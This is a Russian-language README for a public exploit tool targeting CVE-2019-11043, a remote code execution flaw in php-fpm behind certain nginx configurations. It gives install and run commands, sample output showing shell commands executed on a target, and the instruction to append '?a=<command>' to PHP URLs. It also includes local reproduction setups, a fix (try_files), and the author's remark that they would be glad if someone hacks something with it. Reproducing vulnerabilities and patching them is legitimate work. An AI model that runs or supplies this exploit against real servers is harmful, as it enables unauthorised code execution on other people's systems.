
Exploit for CVE-2019-11043
Это эксплойт для уязвимости в php-fpm (CVE-2019-11043). В определенных конфигурациях nginx + php-fpm уязвимость можно вызвать извне. Это означает, что веб-пользователь может получить выполнение кода, если у вас уязвимая конфигурация (см. ниже).
Хотя нам было лень писать разбор, Orange Tsai опубликовал отличный анализ в своем блоге. Спасибо ему.
Также мои слайды с ZeroNights 2019 доступны.
Если веб-сервер использует nginx + php-fpm и в nginx есть конфигурация вида
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
в которой также отсутствуют проверки существования скриптов (такие как try_files), то вы, вероятно, сможете взломать его с помощью этого эксплойта.
location ~ [^/]\.php(/|$) должен перенаправляться на php-fpm (возможно, регулярное выражение может быть строже, см. #1).PATH_INFO через директиву fastcgi_param PATH_INFO $fastcgi_path_info;. Также SCRIPT_FILENAME должен быть установлен с помощью fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (вместо $document_root может быть константный путь). Сначала мы думали, что это всегда присутствует в файле fastcgi_params, но это не так.PATH_INFO в пустое значение. Этот эксплойт предполагает, что директива fastcgi_split_path_info присутствует и содержит регулярное выражение, начинающееся с ^ и заканчивающееся $, поэтому он пытается сломать регулярное выражение с помощью символа новой строки.Давным-давно php-fpm не ограничивал расширения скриптов, то есть что-то вроде /avatar.png/some-fake-shit.php могло выполнить avatar.png как PHP-скрипт. Эта проблема была исправлена около 2010 года.
Текущая уязвимость не требует загрузки файлов, работает в самых последних версиях (до выхода исправления) и, что самое важное, эксплойт гораздо круче.
Установите с помощью
go get github.com/neex/phuip-fpizdam
Если вы получаете странные ошибки компиляции, убедитесь, что используете go >= 1.13. Запустите программу с помощью phuip-fpizdam [url] (предполагая, что у вас $GOPATH/bin находится в $PATH, в противном случае укажите полный путь к бинарнику). Успешный вывод выглядит так:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
После этого вы можете начать добавлять ?a=<ваша команда> ко всем PHP-скриптам (возможно, потребуется несколько попыток).
Кроме того, вы можете использовать docker образ для запуска эксплойта:
docker run --rm ypereirareis/cve-2019-11043 [url]
Если вы хотите воспроизвести проблему или поиграть с эксплойтом локально через Docker, сделайте следующее:
reproducer.docker build -t reproduce-cve-2019-11043 .. Это займет много времени, так как внутри клонируется репозиторий PHP и собирается из исходников. Однако так будет проще, если вы захотите отладить эксплойт. Собирается ревизия, предшествующая исправлению.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= к скрипту: http://127.0.0.1:8080/script.php?a=id. Попробуйте несколько раз, так как только некоторые рабочие процессы php-fpm заражены.Если вы хотите воспроизвести проблему или поиграть с эксплойтом локально через LXD, сделайте следующее:
vulnerable и attacker. Вы можете использовать образ контейнера ubuntu:18.04 для обоих.vulnerable установите nginx и php-fpm. Настройте блок сервера как в этой конфигурации. Создайте пустой файл /var/www/html/index.php.attacker установите язык Go (sudo snap install go --classic), клонируйте этот репозиторий и выполните go build в каталоге репозитория../phuip-fpizdam http://vulnerable.lxd/index.php. Попробуйте несколько раз, чтобы заразить все рабочие процессы php-fpm.Более подробные инструкции см. в статье Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.
Нехватка буфера в php-fpm присутствует в PHP версии 5. Однако этот эксплойт использует оптимизацию для хранения переменных FastCGI, _fcgi_data_seg. Эта оптимизация присутствует только в PHP 7, поэтому данный эксплойт работает только для PHP 7. Возможно, существует другая техника эксплуатации, которая работает в PHP 5.
Оригинальная аномалия обнаружена d90pwn во время Real World CTF. Основная причина найдена мной (Emil Lerner), а также способ установки параметров php.ini. Финальный набор параметров php.ini найден beched.
Этот эксплойт распространяется на условиях лицензии MIT.
Воздержитесь от нанесения ущерба с помощью этого эксплойта. Но если вы действительно что-то взломаете с его помощью, я буду рад.
PATH_INFO задается после REQUEST_URI в конфигурации.try_files $uri =404 или if (-f $uri). Если Nginx отбрасывает запросы к несуществующим скриптам до отправки в FastCGI, наши запросы никогда не достигают php-fpm. Добавление такой проверки также является самым простым способом исправления.